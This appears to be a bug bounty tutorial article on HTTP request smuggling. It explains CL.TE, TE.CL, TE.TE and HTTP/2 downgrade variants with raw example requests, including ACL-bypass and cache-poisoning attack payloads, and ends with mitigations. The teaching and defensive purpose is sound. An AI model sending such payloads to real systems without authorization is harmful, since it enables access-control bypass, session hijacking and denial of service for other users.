The ultimate Bug Bounty guide to HTTP request smuggling vulnerabilities

October 30, 2025

The ultimate Bug Bounty guide to HTTP request smuggling vulnerabilities

Sometimes the web breaks in ways that developers and security teams cannot see.

One such failure mode is HTTP request smuggling, which offers security researchers large attack surfaces and high-impact vulnerabilities that automated scans often miss.

When a carefully crafted HTTP request confuses a frontend and backend, the backend can become desynchronised, resulting in subsequent users’ requests being processed in the context of another user’s request.

These HTTP request smuggling attacks can lead to cache poisoning (CPDoS), ACL bypasses and session hijacks, especially on stacks still ‘speaking’ the language of HTTP/1.1 or on edges that mishandle HTTP/2 →HTTP/1 downgrades.

This guide shows you practical HTTP request smuggling techniques – including CL.TE, TE.CL, TE.TE and H2 variants – supported by in-depth explanations and examples.

ALSO IN THIS SERIES The ultimate Bug Bounty guide to exploiting SQL injection vulnerabilities

What is HTTP request smuggling (CWE-444)?

HTTP request smuggling (CWE-444) occurs when different components in a web infrastructure – such as proxies, load balancers, and backend servers – interpret the same HTTP request differently. This mismatch lets attackers ‘smuggle’ a hidden malicious request inside a legitimate one.

The issue typically stems from inconsistencies in how systems handle Content-Length (CL) and Transfer-Encoding (TE) headers, leading to attack variants like CL.TE, TE.CL, and TE.TE.

These discrepancies can cause the frontend and backend to disagree on where one request ends and another begins, allowing attackers to bypass security filters, hijack sessions, or poison downstream requests.

Pioneered in 2005, this avenue of research was reborn in 2019 thanks to groundbreaking research on HTTP desync attacks from James Kettle. The PortSwigger researcher effectively completed a trilogy on the topic with Browser-Powered Desync Attacks in 2022 and HTTP/1.1 must die: the desync endgame in 2025.

Why should Bug Bounty hunters learn HTTP request smuggling attack techniques?

HTTP request smuggling remains prevalent because so many modern applications still rely on legacy HTTP/1.1 stacks rather than the current best-practice successor, HTTP/2. Moreover, patching is often challenging due to inconsistent support for the HTTP protocol across different server environments.

Bug Bounty payouts for CWE-444 bugs are often generous, because the impacts are typically severe and attack techniques are comparatively advanced.

Acquire the relevant skillset and HTTP request smuggling will – for as long as HTTP/1.1 implementations persist – offer you rich bug-hunting opportunities.

Security impacts of HTTP request smuggling attacks

When HTTP request smuggling exploits succeed, attackers can manipulate how a web application responds to legitimate users. Impacts can include:

  • Data leakage – sensitive information is exposed or accessed without authorisation
  • Session compromise – session tokens or authentication flows can be hijacked or replayed
  • Bypassing access controls / internal access – requests may be delivered to internal endpoints, allowing attackers to reach restricted services
  • Cache poisoning and CPDoS – attacker-controlled responses or denial-of-service through poisoned caches affect many users
  • Persistent or large-scale impact via chained exploits – combining smuggling with other flaws to amplify effects (e.g. cache poisoning, SSRF, or auth bypass)

Detecting HTTP request smuggling vulnerabilities (workflow & tools)

Knowing which HTTP request smuggling techniques to deploy requires a deep understanding of how requests are handled between the frontend, proxies and backend server.

An effective way to detect HTTP request smuggling is to cause a time delay or by triggering a response difference that is based on the smuggled HTTP request.

A tip for HTTP request smuggling newbies: when you’re trying to spot or exploit HTTP request smuggling vulnerabilities, remember to craft your HTTP request so the frontend forwards the full HTTP request, including the smuggled request. Then think about how the backend server's parser might misinterpret the smuggled request.

CL.TE (Content-Length/Transfer-Encoding) vulnerabilities

A CL.TE vulnerability occurs when the frontend uses Content-Length to determine body length while the backend honours Transfer-Encoding: chunked.

Example CL.TE exploit

The following HTTP request will detect CL.TE:

1POST / HTTP/1.1
2Host: example.com
3Content-Length: 6
4Transfer-Encoding: chunked
5
60
7
8x

The frontend reads six bytes and forwards 0[\r\n][\r\n]x (six bytes). The backend server mistakenly thinks the HTTP request ended at 0[\r\n][\r\n] because it honours the Transfer-Encoding: chunked. The x in the HTTP body is then omitted and is instead concatenated (smuggled) to the next HTTP request in the HTTP stream.

To detect a CL.TE vulnerability caused by time delays, we might craft a HTTP request like this:

1POST / HTTP/1.1
2Host: example.com
3Content-Type: application/x-www-form-urlencoded
4Content-Length: 4
5Transfer-Encoding: chunked
6
71
8A
9X
10[\r\n]

The raw body above – 1[\r\n]A[\r\n]X[\r\n][\r\n] – is six bytes; with Content-Length: 4, the frontend forwards only the first four bytes (1\r\nA\r\n), leaving 1[\r\n]A[\r\n] to be interpreted by the backend as the start of the next request.

When the backend server receives the HTTP request with the Transfer-Encoding header, it will wait for the end of chunk (0[\r\n][\r\n]) – but this will fail to arrive, causing a time delay and timeout.

TE.CL (Transfer-Encoding/Content-Length) vulnerabilities

A TE.CL condition arises when the frontend honours Transfer-Encoding while the backend uses Content-Length.

Example TE.CL exploit

Example detection request:

1POST / HTTP/1.1
2Host: example.com
3Content-Type: application/x-www-form-urlencoded
4Transfer-Encoding: chunked
5Content-length: 3
6
71
8x
90
10[\r\n]

In this scenario, the frontend server sees the full body (1[\r\n]x[\r\n]0[\r\n][\r\n]) because of Transfer-Encoding: chunked, but the backend only sees 1[\r\n] because of Content-Length: 3. Therefore, the body starting from ‘x’ will be concatenated (smuggled) within the next HTTP request in the HTTP stream.

An attacker can also cause time delays using TE.CL request smuggling by sending an early end-of-chunk marker with Content-Length: 6:

1POST / HTTP/1.1
2Host: example.com
3Transfer-Encoding: chunked
4Content-Length: 6
5
60
7
8x

The frontend will forward the HTTP request with the x omitted from the request body. Expecting a body length of 6, the backend will trigger a delay and eventually timeout.

TE.TE with obfuscated Transfer-Encoding vulnerabilities

A TE.TE request smuggling vulnerability occurs when both frontend and backend servers use the Transfer-Encoding header to determine the length of a HTTP request.

To detect a TE.TE issue, an attacker needs to obfuscate one of the Transfer-Encoding headers or their value, in a bid to trick one of the servers into misinterpreting this header.

Example TE.TE exploit

For instance:

1POST / HTTP/1.1
2Host: example.com
3Content-Type: application/x-www-form-urlencoded
4Content-Length: 6
5Transfer-Encoding: chunkedx
6Transfer-Encoding: chunked
7
80
9
10x

The invalid chunkedx header is handled differently by the frontend and backend servers. One of them relies instead on the Content-Length header, leading to exploitation scenarios similar to those seen in CL.TE or TE.CL HTTP request smuggling.

H2.CL (HTTP/2→HTTP/1 with Content-Length) vulnerabilities

HTTP/1 is vulnerable to HTTP request smuggling in part because it encodes messages in plaintext, whereas HTTP/2 encodes messages in a binary, framed format. However, HTTP/2 stacks can still be affected when HTTP/2 requests are downgraded to HTTP/1 when forwarded between servers.

Example H2.CL exploit

To understand why this is possible, we first need to examine how HTTP/2 calculates request length. Each HTTP/2 request is composed of frames, and each frame includes a Length field that tells the server exactly how many bytes belong to that frame. As such, HTTP2 doesn’t rely on Content-Length and Transfer-Encoding.

ALSO IN THIS SERIES The ultimate Bug Bounty guide to exploiting CSRF vulnerabilities

If the frontend uses HTTP/2, the following request will, once it’s downgraded to HTTP/1, be misinterpreted by the server, causing it to calculate the request length incorrectly and smuggle our included payload:

1POST / HTTP/2
2Host: example.com
3Content-Type: application/x-www-form-urlencoded
4Content-Length: 0
5
6x

In the HTTP/2 request above we add the Content-Length: 0 header. HTTP/2 will see the full HTTP request due to the length being calculated in the frame flag. However, when the request is downgraded to HTTP/1, the HTTP/1 will use Content-Length: 0 and omit the x. The x will then instead be concatenated (smuggled) to the other HTTP request in the stream – resulting in a successful HTTP request smuggling attack.

H2.TE (HTTP/2 to HTTP/1 with Transfer-Encoding) vulnerabilities

If the frontend handling the HTTP/2 connection fails to remove the Transfer-Encoding header during downgrade – as prescribed by RFC7540 – it could result in a H2.TE HTTP request smuggling flaw.

Example H2.TE exploit

In the HTTP/2 request below, we included Transfer-Encoding: chunked, the end of chunk and the x at the very bottom. If the HTTP/2 server fails to remove Transfer-Encoding: chunked when downgrading to HTTP/1 and the backend honours this header, the HTTP/1 request will terminate at the end of chunk and omit our x. The x will then be concatenated (smuggled) to the next HTTP request in the stream.

1POST / HTTP/2
2Host: example.com
3Content-Type: application/x-www-form-urlencoded
4Transfer-Encoding: chunked
5
60
7
8x

H2.0 (HTTP/2 Body Ignored/ desynchronisation) vulnerabilities

H2.0 HTTP request smuggling occurs when the frontend reads the frame length from the HTTP2 TCP package and downgrades the HTTP/2 request to HTTP/1.1. When downgraded, the backend interprets the request but ignores the Content-Length header (treating it as Content-Length: 0) – typically on endpoints where the backend does not expect a request body. As a result, the backend processes the trailing body bytes as part of the next request, causing HTTP desynchronisation (desync).

Example H2.0 exploit

Example attack:

1POST /assets/logo.png HTTP/2
2Host: example.com
3Content-Type: application/x-www-form-urlencoded
4
5x


The HTTP/2 request above contains a 1-byte body. If the backend disregards the body, that byte becomes the start of the next request and causes desync.

CL.0 (origin ignores Content-Length) vulnerabilities

Similar to H2.0, CL.0 HTTP request smuggling occurs when the frontend and backend interpret the request length differently. In a CL.0 attack, the frontend relies on the Content-Length header to calculate the request length, while the backend effectively ignores Content-Length (treating it as Content-Length: 0). As a result, the backend processes the body data as part of the next request, resulting in desync.

Example H2.0 exploit

To exploit a CL.0 issue, we can use a Content-Length header with the correct value while setting the connection header to: Connection: keep-alive. We then set our request body as the smuggled HTTP request. We add another normal HTTP request that simply visits the root endpoint (/) of the web application and sends the attack request together with the normal HTTP request as a single connection.

Example attack request:

1POST /resources/images/blog.svg HTTP/1.1
2Host: example.com
3Content-Type: application/x-www-form-urlencoded
4Connection: keep-alive
5Content-Length: 25
6
7GET /pwned HTTP/1.1
8X: x
Normal request:
1GET / HTTP/1.1
2Host: example.com
3[\r\n]


The attack HTTP request reached the backend, which ignores the Content-Length header and omits the request body (smuggled request) while keeping the connection alive. The smuggled request then concatenates with the next (normal) HTTP request, resulting in a HTTP request smuggling bug.

0.CL (frontend ignores Content-Length) vulnerabilities

0.CL HTTP request smuggling vulnerabilities occur when the frontend ignores the Content-Length header but the backend processes it. This typically requires an endpoint that gives an early response, meaning the backend doesn't process the entire HTTP request and reads the body from the following request instead.

Example 0.CL exploit

In the request below, we set a spoofed Content-Length : 3 header (note the space before the colon) that the frontend won't process. The backend does process this malformed Content-Length header and awaits the request body:

1GET /static/main.js HTTP/1.1
2Host: example.com
3Content-Length : 3
4[\r\n]

When the HTTP request is forwarded to the backend, the 3 bytes will instead be read from the next incoming HTTP request, which thus becomes malformed. This will commonly trigger a 400 Bad Request from the backend after a few repeated attempts.

But exploitation requires a more intricate, multi-stage attack. First, send a HTTP request to set the connection for a second, smuggled request, Next, send the CL.0 (smuggled) request, which then concatenates with the victim's request, resulting in successful exploitation.

James Kettle from PortSwigger has also discussed these attacks in his latest, amazing research on this topic, demonstrating practical exploitation techniques used against real companies.

Obfuscation techniques for HTTP request smuggling (detection & evasion)

The effectiveness of various obfuscation techniques depends on how the frontend and backend servers are configured and the parsers used.

Duplicate HTTP headers

By including duplicate headers, attackers can exploit inconsistencies in parsing between different components.

Example: TE.TE with duplicate Transfer-Encoding headers

For instance, either the frontend or backend (or both) might ignore one of these Transfer-Encoding headers, while at least one of the servers still processes the other.

1Transfer-Encoding: chunkedx
2Transfer-Encoding: chunked

In a raw HTTP request this will look something like:

1POST / HTTP/1.1
2Host: example.com
3Content-Type: application/x-www-form-urlencoded
4Content-Length: 6
5Transfer-Encoding: chunkedx
6Transfer-Encoding: chunked
7
80
9
10x

Space separator tricks

Inserting whitespace characters such as [SPACE], [TAB], [CR] or [LF] can lead to misinterpretation of headers.

Example: Spoofed Content-Length with space before colon

Some HTTP parsers might accept header field names that include spaces before or after the colon. An attacker could take advantage of this by adding a space before the colon here: Content-Length : 3

If this is parsed by the backend but not the frontend, a HTTP request smuggling vulnerability similar to the 0.CL example above could be the result.

An HTTP request that uses whitespace characters to spoof HTTP headers might look something like this:

1GET /resources/labheader/js/labHeader.js HTTP/1.1
2Host: example.com
3Content-Length : 3
4[\r\n]

HTTP/1.1 obsolete line folding (obs-fold)

Obs-fold lets headers be split over multiple lines, which can confuse parsing logic. If one server supports obs-folding and another does not, this technique can be used to spoof HTTP headers and exploit HTTP request smuggling.

Example: Obfuscated Transfer-Encoding via obs-fold

If a regex or web application firewall (WAF) blocks the Transfer-Encoding header, obs-folding may bypass that control:

1Transfer-Encoding:
2[\t]chunked

A raw HTTP/1.1 request containing obs-folding might look like:

1POST / HTTP/1.1
2Host: example.com
3Content-Type: application/x-www-form-urlencoded
4Content-Length: 6
5Transfer-Encoding:
6[\t]chunked
7
80
9
10x

CRLF injection in HTTP/2 header values (downgrade parsing)

Inserting CRLF sequences within headers can terminate one header and start another when the request is downgraded to HTTP/1, leading to request manipulation.

If the frontend speaks HTTP/2 and the backend expects HTTP/1, CRLF inside a header value can be interpreted by the backend as a header separator, allowing an attacker to hide headers from the frontend while spoofing them to the backend.

Example: CRLF injection in HTTP/2 header values exploit

A HTTP/2 header X-CRLF: x[\r\n]Transfer-Encoding: chunked may be downgraded and parsed as:

1X-CRLF: x
2Transfer-Encoding: chunked

Full raw HTTP request with CRLF placed in the header value:

1POST / HTTP/2
2Host: example.com
3Content-Type: application/x-www-form-urlencoded
4Content-Length: 6
5X-CRLF: x[\r\n]Transfer-Encoding: chunked
6
70
8
9X

Full absolute URI with internal host

Specifying a full absolute URI within headers can be interpreted differently by intermediaries, depending on server configurations, creating ambiguity.

Example: CL.TE exploit to access restricted endpoints

Setting the Host header to 127.0.0.1 while using a full absolute URI containing the target could trigger another vulnerability or simply avoid duplicate Host handling, which would otherwise occur because our smuggled request will be concatenated with the victim’s HTTP request.

1POST / HTTP/1.1
2Host: example.com
3Content-Type: application/x-www-form-urlencoded
4Content-Length: 6
5Transfer-Encoding: chunked
6
70
8
9GET https://example.com/admin HTTP/1.1
10Host: 127.0.0.1
11Content-Length: 4
12
13x=3

Exploiting HTTP request smuggling

Successful exploitation depends on the target and the desired impact. In practice, this often starts with understanding how the frontend and backend servers interpret HTTP requests divergently,.

Common exploitation goals include hijacking user sessions, accessing restricted endpoints or chaining the smuggling attack with other vulnerabilities, such as cache poisoning, to achieve greater impact.

Accessing restricted endpoints (ACL Bypass)

A common security measure is to restrict access to certain endpoints at the frontend proxy level (eg, Apache, Nginx, HAProxy). However, an HTTP request smuggling vulnerability allows a smuggled request to bypass these frontend restrictions, granting the attacker access to the restricted endpoints.

Here's an example of a CL.TE HTTP request smuggling attack that achieves this:

1POST / HTTP/1.1
2Host: example.com
3Content-Type: application/x-www-form-urlencoded
4Content-Length: 114
5Transfer-Encoding: chunked
6
70
8
9GET /admin HTTP/1.1
10Host: 127.0.0.1
11Content-Type: application/x-www-form-urlencoded
12Content-Length: 3
13
14x

Web Cache Poisoning DoS (CPDoS)

Using an HTTP request smuggling vulnerability, we can almost always perform web cache poisoning (or at least a CPDoS), provided you have a cacheable endpoint (usually static files).

In the following example we exploit a web application that performs caching on the frontend. The response to this smuggled request will be cached when we later request the cacheable endpoint:

1POST / HTTP/1.1
2Host: example.com
3Content-Type: application/x-www-form-urlencoded
4Content-Length: 129
5Transfer-Encoding: chunked
6
70
8
9GET /400badrequest HTTP/1.1
10X-Ignore: x

The second step is to perform a HTTP request to the endpoint that supports caching:

1GET /assets/main.js
2Host: example.com
3
4[\r\n]


Note: If the frontend and backend request boundaries become concatenated, the backend may respond with 400 Bad Request, which the frontend might cache and subsequently serve to real users.

Pro tip: You should always aim for the highest possible impact, whether that’s via stored XSS, RCE or something else.

When we request /assets/main.js – the main client-side JavaScript – we instead get a 400 Bad Request response due to our smuggled HTTP request being concatenated with our recent request to the script file. However, the frontend still computes the valid cache key for assets/main.js, so it will cache whatever response the backend returns.

Frontend view (what the proxy sees and caches):

1GET /assets/main.js
2Host: example.com
3
4[\r\n]

The backend was waiting to complete our smuggled HTTP request and therefore sees:

1GET /400badrequest HTTP/1.1
2X-Ignore: xGET /assets/main.js
3Host: example.com
4
5[\r\n]

The backend therefore responds with a 400 Bad Request to the frontend, which caches and serves the 400 Bad Request to all users.

Real-world case studies & CVEs: HTTP request smuggling in Bug Bounty

Researchers and Bug Bounty hunters have documented some really interesting parsing quirks that enable HTTP request smuggling vulnerabilities. Here are a few notable examples:

Mitigations for HTTP request smuggling

Consistent, strict parsing and rejection of ambiguous headers across all components in the request path will block most request smuggling attempts before they reach your application.

Another important strategy is enforcing strict validation and normalisation of incoming requests. Removing unexpected whitespace, disallowing obsolete line folding, and rejecting duplicate headers can eliminate quirks that attackers often exploit.

Keeping all components up to date is a simple but often overlooked step. Vendors regularly patch known vulnerabilities related to header parsing and request handling.

Here’s a fuller list of mitigations that security researchers can recommend to organisations:

  • Normalise and validate at the edge: strip/canonicalise Transfer-Encoding and Content-Length, and reject requests with conflicting or malformed headers (obs-folding, suspicious whitespace, duplicate critical headers, invalid values)
  • Enforce consistent parser behaviour: use the same HTTP library or ensure identical parsing rules across proxies, load-balancers and app servers; keep all components patched
  • Avoid unsafe HTTP/2→HTTP/1 downgrades: configure proxies to not downgrade unnecessarily and to remove Transfer-Encoding on downgrade per RFC 7540
  • Harden caching: validate cache keys and responses; do not cache error or ambiguous backend responses
  • Minimise internal exposure: restrict access to admin/internal endpoints on loopback addresses and add additional controls (auth, network ACLs)
  • Monitor and alert: log and detect unusual 400s, timeouts or patterns of malformed requests that may indicate smuggling attempts

Conclusion

HTTP request smuggling vulnerabilities often hide in plain sight. Tiny differences in how intermediaries parse the same HTTP request can make servers disagree about message boundaries and lead to high-impact failures.

The core request smuggling techniques we’ve outlined – classic CL.TE and TE.CL scenarios, rarer TE.TE cases and abusing problems with HTTP/2→HTTP/1.1 translation – gives you a solid foundation for finding high-impact issues in the wild.

When it comes to remediation, you know you should advise security teams to normalise and validate headers, reject ambiguous or conflicting requests, turn off obsolete parsing quirks, and keep proxies and servers patched with the newest version.

With HTTP/1.1 so far refusing to die, request smuggling remains a practical and high-value area for security testing.


ALSO IN THIS SERIES
The ultimate Bug Bounty guide to exploiting race condition vulnerabilities in web applications

References & further reading